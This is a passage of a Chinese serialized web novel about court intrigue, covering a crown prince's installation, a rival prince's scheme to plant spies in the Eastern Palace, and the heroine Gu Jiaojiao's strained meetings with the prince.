“首辅所言,正合朕的心意,云祉啊,首辅大人辅佐两代君王,朝中再无人比他更为了解情况,日后你便跟着好好学学。” 看的出来,皇上没有征求任何人意见的意思,他早就做出了决定,所谓的商量,也不过是一个将想法说出来的机会而已。 沈云祉并未推脱。 “是,多谢皇上。” 他说的轻描淡写,云淡风轻,不曾有任何虚假的表现。 眼看着平王脸上的怒火越来越盛,皇上则摆了摆手。 “好了,此事便这般定了,朕乏了,你们退下吧。” 几人都行礼告退。 平王走出宫殿,转头看向首辅大人。 “首辅大人历经两朝,劳苦功高,且一向有着只问政事不问党争的名声,此次是怎么了?难不成是收了云南王府的好处?” 平王丝毫不知收敛,在首辅面前,也可出言嘲讽。 首辅在朝为官这么多年,自然是什么都见过,听过,他并不生气。 “就如平王所说,老臣只问朝政之事,今日所言也是出自真心,皇室里能胜任这个位置的,只有太子殿下。” 后半句首辅特意加重了语气,明显是说给平王听的。 平王咬了咬牙,冷哼出声。 “希望首辅大人没有看走眼。” 平王拂袖而去。 云南王在一旁忍不住叹了口气。 “我还是觉得此事过于着急了,云祉他……” “他若是如你这般畏首畏尾,我也不会支持他,历朝历代哪朝君王上位不会引起轰动,就算再等十年也是如此。” 首辅打断了云南王的话,但又紧接着说道。 “我们都是心如明镜之人,老夫冒天下之大不韪,也不是无所求。” “这是自然,太子登基,赵府千金便会是皇后。” 二人相视一眼,而后大笑出声,约着一起去下棋了。 待二人走远后,沈云祉才从一旁走出来。 他一只手背在身后,一只手放在身前,月白色的衣衫衬托着他挺拔的身姿,冷风吹过,吹动着他额间几缕未束起的长发,也吹动着冷冽的眸子。 也是到现在沈云祉才看清楚自己的父亲。 从始至终,云南王都表现的对他成为太子之事极为抗拒,实则是在暗中筹谋,无论是婚事也罢,还是与首辅相交也好,都是在为沈云祉铺路。 就如刚刚在殿上,云南王适当阻拦,而首辅大人则力排众议,这才能成了这桩事。 人们都说,云南王只会带兵打仗,不善权谋,可他是云南王啊,又怎会真的只是一个莽夫? “殿下,要不要将这个好消息派人通知顾姑娘?” 双瑞带着惊喜的声音从耳边响起,将沈云祉的思绪拉回现实。 沈云祉缓缓转身,凝视着自己的侍卫,薄唇处袭上一抹若有若无的笑意。 双瑞不自觉的缩了缩脖子,忙后退几步。 “属下这便去吩咐人给殿下备膳。” 他自然是知道自己说错了话,转身便跑了。 沈云祉眼底闪过一抹无奈。 说起顾皎皎,沈云祉心里还是有气的,他总觉得是自己对她太过宽容,才会让她如此放肆。 宫外。 皇上醒来的消息还在盛传着,于百姓而言自都是高兴的,于官员来说必是有人欢喜有人忧。 在第一楼里,也有说着关于皇上醒来的事。 “听闻皇上刚醒便召了平王入宫。” “我也听说了,皇上身子未好全,就召见平王,莫不是太子之位会有变动?” “平王年岁长些,在京城又有许多旧故,若是他为太子,也许就不会有这么多事了。” “这种事可说不好,平王脾气暴躁,性格爆戾,真若是成了君王,你我可要提着脑袋做事了。” …… 这几人都是朝中的官员,虽穿着常服,却也是常来第一楼。 顾皎皎在一旁装作忙着的样子,将他们的对话听子个一清二楚。 她倒是不担心平王能抢了沈云祉的位置,只是,皇上醒来,怕是会争斗再起,沈云祉的日子也不会过得太舒坦。 正在此时,莺儿从外面跑了回来,站在顾皎皎身边未说话,只是冲顾皎皎使了个眼色。 顾皎皎立即明了。 她将手头的事交给他人,说自己疲累,便向楼上走去,莺儿紧随其后。 “皇上下旨,后日行太子册封之礼,太子入主东宫。” 莺儿在确定屋外无人时,才压低声音说出打探来的消息。 顾皎皎微微点头。 “这也正常,他早就被立为太子,这些礼数上的事做全,也是名正言顺。” 她不觉得这有什么奇怪的,想来无论是朝臣还是百姓,都也会认为这是再正常不过的事。 可莺儿却又神秘的凑近她。 “姑娘英明,但不仅如此,皇上还命太子殿下接手政务,由首辅大人辅佐。” “什么?这么快?” 顾皎皎惊呼出声,也终于明白莺儿为何会如此小心。 “是啊,听说皇上亲自下的旨,平王有意阻拦,但皇上主意已定,此消息一经传出,朝中大臣也都开始联络起的。” 朝中大臣不安,之前维持的表面的平静,也就此打破,他们都很清楚,朝廷要变天,他们为了自己的利益,都要做些什么了。 如今的沈云祉,人人羡慕,嫉妒,甚至都觉得他命好,可事实是,他如今已然成为众矢之的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零三章 一句空谈 顾皎皎起身站到窗前,楼下是一片热闹非凡的景象,美味佳肴,酒香四溢,能走进这第一楼的,自然是吃的饱穿的暖。 他们有的甚至完全不在意成为君王的是谁,那些闲谈也只是他们茶余饭后的谈资。 “让王吉盯着点,尤其是平王府。” 良久,顾皎皎终是下定了决心。 莺儿怔住,上前几步。 “姑娘,你不是说过,太子殿下的事我们不管插手了吗?” 是啊,她说过。 她还说过,除了生意上的事,有关沈云祉的任何事,她都不会插手。 但此次不同,她知道,若是一不小心,便是死局,是会丢掉性命的。 “他曾救我一命,这份恩情终究是要还的,若是此次能帮到他,也算是还了这份恩情。” “姑娘上次传信时,也是这样说的。” “好了,快去吧。” 顾皎皎被说中心事,在莺儿准备离开时,她又想到一个人。 “等等,孙协兆是最会做阴损之事的人,平王或会拿他当棋子,也留意些。” 她的话,莺儿都记下,也立即去办。 平王府。 平王已经两天没有睡好,但心中的怒火却并没有消散半分。 平王妃踏进屋子,不出意外的看到了满地狼藉。 她侧目看向一旁的李嬷嬷,眼底带着责怪。 李嬷嬷立即低下头。 也不是他们这些做下人的没收拾,而是收拾几遍,便又被砸了,最后平王干脆将他们都赶了出去,若不是担心平王没怎么吃东西,李嬷嬷也不会去惊扰平王妃。 平王妃抬子抬手,示意下人们都出去,至于这屋子,便也先这样了。 她抬脚走进内室。 平王坐在桌前,手里握着一只茶盏,因为用力指尖都有些泛白。 “王爷虽生气,却也要顾及自己的身子。” 平王妃上前,将平王手中的杯子拿下,还用手帕轻轻擦拭着他掌心处留下的茶渍。 “你都听说了?” 平王未抬头,声音也异常冰冷。 “是,如今正是太子殿下春风得意之时。” 平王妃说话的时候也看着平王的脸色,肉眼可见的难看,也并不让人意外。 平王没有说话,面色阴沉,抿着唇让人觉得全身透着杀气。 “王爷心有不甘,妾身是知道的,只是越在这样的时候,王爷越该冷静对待。” 平王妃坐下,将杯子重新倒了茶,推到平王身边。 “说的容易,眼睁睁的看着他一步步向上爬,本王如何能甘心?” 平王自然不甘。 当今的皇上上位,他已然隐忍了多年,本想着身体无用的皇上终将退位,他的机会来了,却不想又冒出个沈云祉。 平王是恨的,恨沈云祉,更恨皇上。 “皇权威威,皇上到底是名正言顺上位的,又勤政爱民,民心所向,皇上下的旨意,那便是天子之言,不可违逆,可若是朝政之上出了差错呢?” 平王妃面带微笑,说的轻描淡写,似是再正常不过的事。 平王怔了怔,眼中袭上一抹疑惑。 “你的意思是……” “太子殿下接手朝政,可朝政之事哪有那般简单?这期间若是出什么差错,皇上定然会是生气的,还有,太子很快就会入主东宫,正是缺人手的时候,王爷安排几个人过去,也是情理之中。” 平王妃所会的这些都是内宅争斗的手段,如今放到这种大事上,虽然抵不了太大的作用,却也是可行。 平王脸上的怒气渐渐散去。 “本王的王妃当真是难得的奇女子,有此佳人,乃是本王的福气。” “王爷又打趣妾身,妾身院里有几个丫头,长相标致,也忠心耿耿,不日妾身便出面送入宫中,安排妥当些,也是能进东宫的。” 平王妃轻笑。 平王点了点头,他自是高兴的。 这沈云祉日后便是皇宫中人,身边的宫女侍从出现几个别有用心的也是正常。 “只是,这些人若是……” “王爷安心,她们自然能在妾身身边侍奉,妾身自然是有把握的,这些丫头的家人,都由妾身照料。” 平王妃打断了平王的话,眼中满是自信。 平王大笑出声,他自然知道这些都是小手段,可只要能动手,对他来说就是有机会。 平王拉起王妃的手,不住口的称赞。 “王爷这些日子烦心,已然许久没有进妾身的院子了。” 平王妃低垂下眼眸,脸颊处袭上两朵红晕,浅笑间风情万种。 平王没有犹豫的起身,将平王妃拦腰抱起,眼中满是炙热。 “本王也是万分想念王妃。” 只说着,他便将王妃抱到床榻之处。 门外的李嬷嬷意识到了什么,让下人们都散去,去忙自己的事,她自己也是松了一口气。 太子行册封之礼,是在宫外的国庙举行。 皇上身子不好,无法出宫,也无法观礼,便让首辅大人带着诏书与太子印,代他观礼。 只这样一个差事,便已然开始有人猜测,首辅大人与太子殿下怕是已然联手,或者说,是做了什么交易。 “首辅大人有个孙女,正当妙龄,素有京中第一才女之名,家世地位,人品相貌都可与太子殿下相配。” “就那位赵千金?才不才女不敢说,倒是听闻极其嚣张,目中无人。” “首辅大人的亲孙女,赵家的掌上明珠,自是有嚣张的资本。” “那所谓人品便是一句空谈了,不过是门当户对。” …… 观礼的人群中,也不乏有人在议论着。 顾皎皎站在角落里,听着这些议论,心里不是滋味,但她的目光一直锁定在高台之上。 册封之礼乃是大礼,要祭天地,读诏书,更会由沈云祉亲处祭祀皇室祖先,除此之外,还要敬百官,敬万民,以证他日后会倾听意见,爱民如子之决心。 这一件接着一件下来,神圣而肃穆,也会让顾皎皎觉得,她离沈云祉越来越远。 沈云祉一身暗黄色的衣衫,是礼服,也是他身份的象征,他立于高台之上,神色淡漠,挺拔高傲,那生人勿近的模样,更显示着他日后要走的路。 礼成,万民叩拜。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零四章 不曾变过 顾皎皎随人群跪在地上,起身时看向台上,正与那双深邃的目光相撞。 他只是看过来,脸上没有任何神情,那般高高在上,也那般生疏。 顾皎皎不知道他是不是能看到自己,但她还是笑了笑,红唇微扬,也是真的从心里为他高兴。 她转身,却在街口的拐角处,停下脚步。 “顾姑娘,太子殿下有请。” 双剑还是那副没有表情的模样,微低着头,态度坚决。 顾皎皎有些意外。 难道刚刚沈云祉真的在人群中看到了自己? 可是,他刚不是还在行册封之礼吗? “太子殿下身份尊贵,我这等身份怕是……” “顾姑娘,太子殿下有请。” 双剑抬起头,将自己刚刚说的话一字不落的重复了一遍。 语气里依旧是客气,但显然,如果顾皎皎再不答应,他就会将人绑走了。 “劳烦带路。” 顾皎皎无可奈何。 双剑带着顾皎皎来到醉月楼。 白日里,楼里是不开门做生意的,但他们还是顺利的走了进去。 偌大的醉月楼,在夜晚时灯火通明,人声鼎沸,颇有一番热闹的意味,而此时,除了那些桌椅以及几层楼里那一个挨一个的房间外,竟连人影都没有。 顾皎皎正想着,媚姨便从楼上走了下来。 “顾姑娘来了啊,知道姑娘要来,特意备好了茶水糕点,都是姑娘喜欢的,快跟我来。” 媚姨热情的过来招呼,双剑则自顾自的离开了。 顾皎皎早就习惯了媚姨如此热络与夸张,便跟着她上楼。 “媚姨知道我要来?” “自然了,一大早殿下便派人来传信了,我啊,别提多高兴了。” 媚姨喜笑颜开。 顾皎皎虽然在帮沈云祉打理产业,也包括这醉月楼,但毕竟是青楼,顾皎皎不常来,一月也只来两三次,媚姨每次都开心的不得了。 她是真的喜欢顾皎皎。 “一大早?可今日……” 顾皎皎没有说下去,是因为觉得自己的问题有些多余。 他如今可是太子,要做什么自是不需要准备什么的。 媚姨听到了她的半句话,也知道她在疑惑什么,却装出没有听到的样子,在二楼里面的一个房间停下。 “姑娘,请。” 媚姨轻推开房门,却没有进去的打算,而是将门口让出。 顾皎皎微微点头,而后踏进这屋子。 她人刚进来,后面的门便被关上,也不等来得反应,已然看到前方那个身着太子礼服的沈云祉。 他站在窗前,背对着她,双手背在身后,给人一种与世隔绝的感觉,如果不是那身衣衫太过刺眼,怕是也不会有人将他当成太子。 沈云祉转身,不知是不是自己的错觉,那一瞬似是在顾皎皎的眼中看到了难过,只一瞬。 “见过太子殿下。” 顾皎皎在迎上他目光的那一刻,便收起了思绪,也让自己恢复如常,这个常礼便是她的态度。 她微低下头,神色淡然,与刚刚那人似不是同一个。 “平身。” 沈云祉开口,而后指了指不远处的椅子。 “坐。” “民女不敢,不知殿下召见所为何事?” 顾皎皎没有抬眼,生疏客套。 自他们上次争吵过后,二人便再也没有见过面,今日见到,彼此的心里自然都有异样的情绪涌动。 沈云祉坐下,挑了挑眉毛,倒是没有动怒。 “你爱站着便站着吧,找你是有要事跟你交代。” 他的唇角还是噙着那抹若有若无的笑,只是眸子里的光芒略显冰冷,让人琢磨不透他的心思。 顾皎皎点头,等待着他继续说下去。 “日后我很难再出宫,产业生意上的事,你可全权做主。” 全权做主。 这四个字的意思,已然很明显。 “所有的事?” 顾皎皎还是忍不住反问出声。 “是,所有的事,若是遇到与官有关,你无法处理,便可放下,日后我会解决。” 他这云淡风轻的几句话,让顾皎皎心底又涌起一股暖流。 他们最初合作的时候就约定过,顾皎皎所行任何事,沈云祉都要深信不疑,如今也算应验了。 “是,民女记下了。” 在他面前,顾皎皎是需要压抑自己的情绪的,至少要让眼前的人觉得她没有任何非分之想。 屋子里片刻的宁静。 顾皎皎没等到沈云祉继续说下去,便抬眼看他的神色,却发现他正凝视着自己,眼中的情绪无法分明。 顾皎皎立即收回目光。 “太子殿下还有何吩咐?” “我一直在想,你对我的态度是何时改变的?是因为我成为了太子,还是因为订亲之事?” 沈云祉唇角微扬,语气里带着一丝玩味,似是询问,便更像觉得这个问题有趣。 顾皎皎还是忍不住看向他,勉强的扯出一丝笑容。 “想来是殿下误会了,民女不曾变过。” 订亲。 提到这两个字,顾皎皎心里一紧,也是因为心虚。 “是吗?我记忆中的顾姑娘勇敢明媚,敢于以一己之身与候府对抗,也敢与泼皮无赖周旋,有勇有谋。” 他停顿了一下,看着她脸色微变,才满意的继续说了下去。 “可如今,顾姑娘似是畏惧权贵,对我避之不及,若不是之前有合作,怕是也不会给我好脸色吧?” 他无不调侃的说道。 顾皎皎的无奈在于,他说的都对,她却不能承认。 “殿下何出此言?民女确实忙碌,不曾变过,与殿下既是合作,也定要将自己份内的事做好,与其他的无关。” 她这敷衍的话,怕是任何一个人也不会信的。 沈云祉更是如此。 “看样子,顾姑娘是要跟我划清界限,丁是丁,卯是卯,也好,那便说说寺庙之事……” “沈云祉。” 顾皎皎惊呼出声。 她脸色大变,脸颊处泛着红晕,又因为急切眼中蓄着晶莹。 她在喊他的名字,是直呼其名。 沈云祉歪了歪头,不怒反笑,这才应该是她本来的样子。 “我们不是说好了,再不提当时之事,殿下男子汉大丈夫,莫不是要食言?” 那一夜春宵,顾皎皎自是忘不了,每每提起,她也如此时这般又急又恼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零五章 本是不怕的 “我是太子啊,是不是食言,还不是我说了算?” 太子的权利是用在这里的吗?就是为了耍无赖? 顾皎皎一时无言,轻咬着红唇,瞪着沈云祉的目光,似是要吃人一般。 她越是这样,沈云祉却越觉得有趣。 “顾姑娘记得便好,我也并非威胁,但如果你有所要求,我自会对你负责。” 当时的阴差阳错,才造就了二人的牵绊。 沈云祉倒是希望顾皎皎向他提些要求,入宫,或者是其他的。 但她什么都不要。 “谈不到负责二字,当日之事错综复杂,我本也是被人算计,自是怪不了殿下的。” 顾皎皎袖子里的手握成拳,都将自己掐痛了,才勉强保持镇定。 她又羞又恼,却不能对面前的人发作,这才是最难受的。 “只是这样?” 沈云祉似有不甘心。 “是。” 顾皎皎头埋得很低。 她是经历过苦难的,也深知人性,人总是贪的,要了这样,还想要更多,她不想变成那样的人,干脆就什么也不要。 “还是说,你也是欣赏玉荣的。” 沈云祉话锋转换的极快,从合作之事谈到过往,最后又再次提到杜玉荣。 杜玉荣当众说要明媒正娶顾皎皎的事,早就传遍了大街小巷,沈云祉又如何不知? 顾皎皎越来越看不懂沈云祉,更不知道他今日叫自己来到底是何目的。 她还是在心里暗暗沉一口气,冷静了一下后,才淡淡的笑了笑。 “杜大人温文尔雅,才学人品皆是上乘,怕是没有人不欣赏吧。” 她说的是事实,像杜玉荣那样的人,满京城也找不出几个。 但她却没想到,沈云祉在听到她的话后,却冷哼一声,似是不屑。 “玉荣自是好的,只顾姑娘与过于亲密,难免不会让人觉得姑娘有意攀附。” 他的声音悠悠的,似是玩笑,又像是隔着很远一般。 顾皎皎最常被人嘲讽的便是出身,或许是从小到大都被人说着,她也不甚在意,可是这样的话,三番两次的从沈云祉的口中说出,她会难过。 她缓缓抬起头,刚刚复杂的情绪消失不见,被那抹淡然所取代。 “殿下说的是,民女这身份,这出身,与谁接触,都会被说成攀附的,曾经,也有许多人,说民女攀附殿下的。” 她尽力保持着冷静,可是这语气还是显现出了异样。 沈云祉意识到她情绪不对,侧了侧身体,转向她。 “你可以顺他们的意,攀附一下也无妨,太子总是比状元地位高些。” “殿下说笑了,殿下与赵姑娘的婚事不日便将公之于众,民女若是有意攀附,怕是会被唾沫星子淹死的。” “你怕吗?” “本是不怕的,但与太子殿下有关,那还是避着些的好。” 这就是她这段时间处处回避的原因吗? 只是因为她不想被人说三道四,所以干脆与他保持距离? 沈云祉紧抿薄唇,半晌没有说话。 顾皎皎也突然意识到自己失言,但还来得及请罪,房门便被敲响。 “说。” 沈云祉低吼出声,语气冰冷,但那双凌厉的眸子并未从顾皎皎的身上移开。 “殿下,杜大人已在第一楼等候了。” 双剑的声音从外面传来。 “备车。” 沈云祉命令着,也缓缓站起身,他步子沉稳,在顾皎皎面前站定。 他们之间的距离太近,使得顾皎皎忍不住想逃。 沈云祉似是知道她在想什么,率先开口。 “这里到底是青楼,顾姑娘早些离开吧。” 他们二人一同从醉月楼的侧门离开,在门口处,沈云祉停下脚步。 “是前往你的第一楼,不如同行?” 在沈云祉身后,便是他的马车,应是不想被人发现,马车普通,并不招摇。 顾皎皎欠了欠身。 “多谢殿下好意,民女还有其他事,不回第一楼。” 她再一次拒绝了他。 沈云祉何尝不知道这只是她的推脱之词?凝视她片刻,才收回目光。 “随你。” 丢下这两个字,沈云祉上了马车,随后马车便离开了。 看着那马车渐行渐远,顾皎皎才松了一口气。 他们这身份,总是要保持距离的。 此时,莺儿也带着一辆马车从不远处过来。 “天气冷,姑娘快上车吧。” 看到顾皎皎一个人站在冷风里,莺儿立即上前扶着她上了马车。 顾皎皎脸色不好。 莺儿也不问,只将一个暖炉放在她手中。 “姑娘,是去第一楼吗?” 今日出门,她们是特意去观太子册封之礼的,顾皎皎说过,待看过后便去第一楼查看新的菜品。 倒是没想到,中途会被沈云祉‘劫走’。 “不了,回府吧。” 顾皎皎倚靠在车上,眼底尽显疲惫。 莺儿不知道沈云祉跟她说了什么,但知道每次见面,顾皎皎都需要很久才能平复心绪,莺儿轻叹了一口气,命车夫回府。 第一楼。 杜玉荣一直在这里等着沈云祉,也一直期望能见到顾皎皎,但楼里的伙计却说,顾皎皎今日并未过来。 沈云祉到来时,杜玉荣刚与一个伙计交谈完,那人还是说,顾皎皎没来。 “怎么站在门口?” 沈云祉的声音从身后响起。 杜玉荣立即转身,准备抱拳行礼之时,被沈云祉伸手拦住。 “不必多礼,进去吧。” 沈云祉先行一步,杜玉荣紧随其后。 “今日是殿下册封之喜,属下备了份贺礼,金钱财宝终是小家子气,便寻了一幅画,望殿下莫要嫌弃。” 杜玉荣将桌上放着的画卷打开,奉到沈云祉面前。 沈云祉很是意外。 “百雁图?传说此图早被异域商人偷走,丢失已久,竟在你这里?” “属下并画作并无甚研究,此画乃是家父多年前购得,放在家中许久,今日用来恭贺殿下大喜,最好不过。” 杜玉荣在沈云祉眼中看到了喜欢,便也不算辜负此画。 “此画名贵,又极为难得,玉荣啊,你这份礼太重了。” 沈云祉口中这样说着,心里想的却是,顾皎皎定是喜欢这画的。 “宝剑赠英雄,于太子这般懂画的人来说是珍贵无比,在属下这里,便是明珠暗投了。” 他说的也是实情。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零六章 不必执着 沈云祉与杜玉荣所谈皆是朝政之事。 太子行册封礼,入主东宫,这些都意味着大事已定,可朝中之人却总有不服,不甘之人,暗中行事。 这其中为首的便是平王。 只是杜玉荣与平王接触不多,平时也不无甚往来,他能查探到部分朝臣的动向,却无法了解平王的一举一动。 沈云祉深知这一点,所以在杜玉荣想以身入局之时,被他拒绝。 “平王司马昭之心,用不着你去冒险,何况,此事并非是一日之功,不急在这一时。” 平王有皇室的身份,又心狠手辣,杜玉荣一个不慎便会招来杀身之祸,于沈云祉而言,那可是得不偿失。 杜玉荣听从,也未擅自行动。 午后。 二人用过膳后,便一同走出第一楼。 “今天晚上宫宴,太子早些回宫吧。” 杜玉荣行礼,台阶下便是二人的马车。 沈云祉点了点头,欲置身之时又停下脚步。 “你并非顾皎皎良人,不必执着。” 他留下这句话才转身走下台阶,上了马车。 杜玉荣目送沈云祉离开,对于他的话却并未放在心上。 不只是沈云祉,只怕是任何一个人都会觉得他们不合适。 一个是未来的朝中亲贵,完美的家世,背靠大树,另一个则是出身低垂,所走的每一步皆是泥潭,孰轻孰重,一眼便可看出。 但,杜玉荣不在意这些,也不信这些,他依旧坚持心中已见。 夜幕降临。 皇宫大殿内歌舞升平,好不热闹。 有朝中大臣,有皇室宗亲,互相称赞,最后又将恭贺之词递到沈云祉面前。 皇上龙体欠安,无法参加这种宴席,却时不时的传来旨意,表明太子即日代理朝政,便可统领一切。 这些人中,不知有多少人是厌恶沈云祉的,也不知有多少人是想将他拉下来,可真的面对面,却无一人表现出不悦。 “太子年少有为,能力卓群,微臣恭贺太子大喜。” “皇上眼光极佳,日后太子坐镇朝堂,臣等定当尽心竭力。” “太子不只有仁德之心,更难得的便是孝心,亲自照料皇上多日,实在辛劳。” …… 众大臣敬酒之时,每个人似是都备好了称赞恭贺之语,一个个笑容满面,整个场面都是一副人心所向的局面。 沈云祉很少说话,回以微笑便是他的回应。 他向来不是爱敷衍之人,面对这样的场合,他也更是懒得应对,只是老祖宗留下的规矩,他终要依礼行事。 “曾是小云南王,一跃成为太子,又代理朝政,这份福气可不是人人都学得来的。” 人群中突然冒出一个声音,表面是夸赞之语,语气里却极尽嘲讽之意。 只听着这声音,沈云祉便可知是谁,但还是缓缓抬起头,将一抹玩味的笑挂在唇边。 “无论我是何身份,都记得平王叔的教导,日后兢兢业业,也定会尽力回报平王叔的教诲。” 沈云祉的声音在大殿之上回响,好听,冰冷,又透着一丝狡黠。 这二人向来不和,是人尽皆知之事,看着这样的场面,其他人也未敢说什么。 平王在自己的位置上坐着,看向上面的沈云祉,冷笑两声。 “教诲谈不上,但你到底年轻,如今身处高位,也要时时自省,毕竟登高易跌重。” “我与平王叔见解不同,跌重,至少证明曾经登高,没有让自己不甘,怕只怕有想跌重的人,却没有登高的机会。” “你说谁呢?” “平王叔息怒,只是闲聊罢了,不必着急。” 沈云祉的嘴向来没有几个人是对手,而平王偏偏又是个爆火性子,二人针锋相对,使场面更加尴尬了几分。 “你现在自然得意,但我告诉你,这个太子之位你能坐多久,还要看本王……” “平王慎言。” 坐在沈云祉身侧的首辅突然开口,使平王后面的话没有说下去。 沈云祉‘啧啧’两声,显然有些失望。 让他说出来多好,说出来,便可治他一个大不敬之罪,虽然是他是王爷,处罚不会太重,但至少能让他在家里静心几个月。 沈云祉这样想着,看向平王的目光更为不屑。 “太子之位乃是陛下钦点,有圣旨,也有皇上明言,平王开玩笑也莫要忘了规矩。” 首辅大人又补了一句,威严与道理并存。 此时,平王已然意识到了自己言语有失,倒是收敛了些许。 “本王今日为太子殿下高兴,随口开了个玩笑,但终究有些过了,本王自罚一杯。” 他自然不是怕了,只是诸位朝臣在坐,他如今又是用人之际,自不可传出些什么,影响他的计划。 看着平王将杯中的酒一饮而尽,沈云祉露出满意的笑容。 “平王叔言重了,都是自家人,无伤大雅。” 这般客套过后,整个宴席便又热闹起来,似是刚刚的不快都不曾发生一般。 “太子殿下马上要接手朝政,不宜树敌过多。” 首辅大人侧身,用只有他和沈云祉二人可听到的声音说道。 沈云祉眼中袭满笑意,迎向首辅大人的目光。 “大人说的正是,只是,冒昧问一句,刚刚大人出言阻拦,是否有帮助平王解困之意?” 他的声音不大,语气平缓,却让首辅大人苍老的脸上闪现出一抹意外之色。 以前,他只以为沈云祉有些才略,年轻能干,如今看来,怕是低估他了。 沈云祉城府颇深。 “日后殿下是要娶苎儿的,苎儿的母亲乃是平王胞妹,老夫辅佐殿下,图的也是一家人平安喜乐,想来太子殿下也可理解。” 首辅大人这话说的如命令一般。 又是平安喜乐,又是一家人,说到底,不过是不许大权旁落。 沈云祉已然是这个身份,必然要稳步前行。 “自然,大人劳苦功高,不图名,不为利,我自心生敬佩,也不会因这些小事而去责怪。” 沈云祉端起酒杯,伸向首辅。 首辅并未看懂沈云祉,更是分不清他言语的真假,但这结果终是好的。 二人的酒杯相撞,发出清脆的响声,心里在想什么,只有他们自己知道。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零七章 时日无多 宴席结束。 沈云祉前往了皇上的寝殿。 夜已深,皇上躺在床榻之上,却睡的并不安稳,偶有咳嗽,看上去也是难受的紧。 沈云祉未出声,只是看了一下,便准备离开。 “云祉?” 皇上微弱的声音响起。 沈云祉立即走到床榻前,微低下头。 “是臣扰到皇上了。” 他话音落下,皇上伸了伸,他便上前去扶皇上。 皇上倚靠在床榻边,又剧烈的咳嗽了几声,沈云祉倒了一杯水递给皇上。 “并非是你吵到朕,朕近日来睡不安稳,这身子怕也是越来越不行了。” 皇上的声音极为虚弱,却还是冲沈云祉扬起嘴角。 “你这么晚过来,只是为了看看朕?” “是,宫中夜宴,宫人大多爱偷懒,臣放心不下。” 沈云祉对皇上的恭敬与在意是出自真心,这份担忧也自是真情实意。 皇上微微点头。 “按理说,你行太子礼,加之宴席,朕都是该陪着的,那样朝臣们便也少了一些猜忌,奈何朕这身子……” 皇上轻叹了口气,眼中自责之情尽显。 “皇上言重了,不过是一些礼仪,不必放在心上,皇上还是要保养好身体,日后臣朝政之上的事还要请皇上做主。” 沈云祉微低着头,掩饰着眼底的无奈。 皇上自醒来后,他也询问过太医,都说皇上病的极重,很难再恢复如初。 “也就你还会安慰朕,只是朕自己的身体自己知道,如今让你尽快熟悉的朝政事务,也是知道,朕时日无多了。” “皇上……” “无妨,朕拖着这病体也实在是难熬的紧。” 皇上摆了摆手打断沈云祉的话,笑了笑,又继续说了下去。 “平王嚣张跋扈多年,也曾对你下过死手,但如今你们身份悬殊,你有太子之身,想来日后他也不敢太过放肆。” 皇上自然不知道,平王从未停止对沈云祉的迫害,自然了,沈云祉也没有提起。 “皇上有交代?” 沈云祉低声询问,心中已经想到了什么。 “是,朕想平王到底是皇室血脉,如若日后你登基,他又没犯什么了不得的罪,饶他一命。” 皇上的眼中透着恳切。 他深知沈云祉是个敢爱敢恨的性子,又与平王争斗多年,他们互相谁也不会放过谁,可皇上又看得清,平王不是沈云祉的对手,他终究还是想保平王一命。 沈云祉眉头微皱,显露为难之色。 皇上也似是理解,抬手拍了拍他。 “自然了,如若他所行之事会影响朝廷,残害百姓,那你便自己做决定。” 皇上并不是放低姿态,而是他也知道平王是何种人,只是到底是骨肉血亲,终是不忍。 “皇上所言,臣记下了。” 沈云祉终究是答应下来。 他不在意平王,只是不想皇上担忧。 “这便好,时候不早了,你也早些回去休息吧。” 皇上扯动了下嘴角,笑意中透着疲惫。 沈云祉上前扶着他躺在床榻之上,却并不打算离开。 “皇上歇息就是,臣在这里陪着皇上,稍后盯着他们熬药。” “不,不,你还是走吧,你这满身的酒气,呛的朕睡不着。” 皇上半开着玩笑。 沈云祉笑了笑,他刚刚参加完宴席,身上带着酒气也是正常,只是皇上此言,明显是不想他太过劳累。 “是,那臣明日一早过来给皇上请安。” 沈云祉离开前又仔细的叮嘱了宫人几句。 翌日。 依照规矩,沈云祉前往东宫。 皇上并无子嗣,这东宫也空了许久,自皇上下旨后,内务府的人也是日夜赶工,才将这东宫收拾出来。 宫殿里的一草一木,屋里的每一件物件都是新的,以示新贵入主。 沈云祉在院子里转了一圈,才转头看向跪在地上的一群人,冷眼瞟过,抬手示意他们起来。 一半宫女,一半太监,几十人,整整齐齐的站在那里。 “奴才王福,是东宫的首领太监,太子殿下有任何事,直接吩咐奴才。” 王福看上去年岁不大,但给人一种很是机灵的感觉,以他这个年岁,不管是在哪个宫里,都不可能成为首领了太监,之所以能在东宫领事,是因为没有人愿意来此。 在此之前,双瑞已经打探过,宫中的那些熟识事务的老人,都或多或少的与平王有些关系,哪怕东宫地位尊崇,他们也不愿来。 而这王福是被人推出来的,他倒是没有怨言。 “平身吧。” 沈云祉冷声说着,而后看向人群。 “本宫知道你们这些人中,有一些人是奉命来到东宫,你们是打探消息也好,做什么阴损之事也罢,都不要被我抓住。” 他上前一步,脸上是若有若无的笑意,漆黑的眸子里却释放着冰冷的光芒。 “我这人眼里不容沙子,不分是非,也就是不分对错大小,都以生死论处。” 只这两句话,便足以让这群下人后背发凉。 这些人里见过沈云祉的人不多,但是却也听过他的故事,征战沙场之人,杀伐果断,让人望而生畏。 “罢了,王福,你来安排他们的差事,本宫乏了。” 沈云祉得到了自己想要的结果,转身步入正殿。 “殿下,那王福年纪不大,又是新人,只怕是不能委以重任。” 双瑞跟在沈云祉身后,小声的开口,目光巡视着周围,一脸的谨慎。 “是啊,我们在京中无人可用,宫里更是如此,本太子能信任的也只有你和双剑,不如你……” 沈云祉转头挑了挑眉毛,眼中笑意渐浓。 双瑞大惊,两只手一同挥舞着。 “不不不,殿下误会属下的意思了,属下是说,王福虽是新人,却也正好调教,日后定能为殿下所用,为殿下分忧。” 沈云祉看着这正殿,嘴角噙着笑。 “是吗?可是本太子还是觉得你更适合首领太监这个位置。” “属下完全不适合,属下还是更适合保护太子。” 双瑞说的斩钉截铁。 沈云祉也不再逗他,坐在正中的位置。 “这些人底子干净的少,你和王福配合着查一下,看看能揪出多少。” 他时刻谨慎。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零八章 岂非让人笑话 京城里又下了一场大雪。 整个京城皆被大雪覆盖,街上的人少了许多,第一楼的生意也比往常略显淡薄。 顾皎皎并不在意,一年里,她也少有这样清闲的时候。 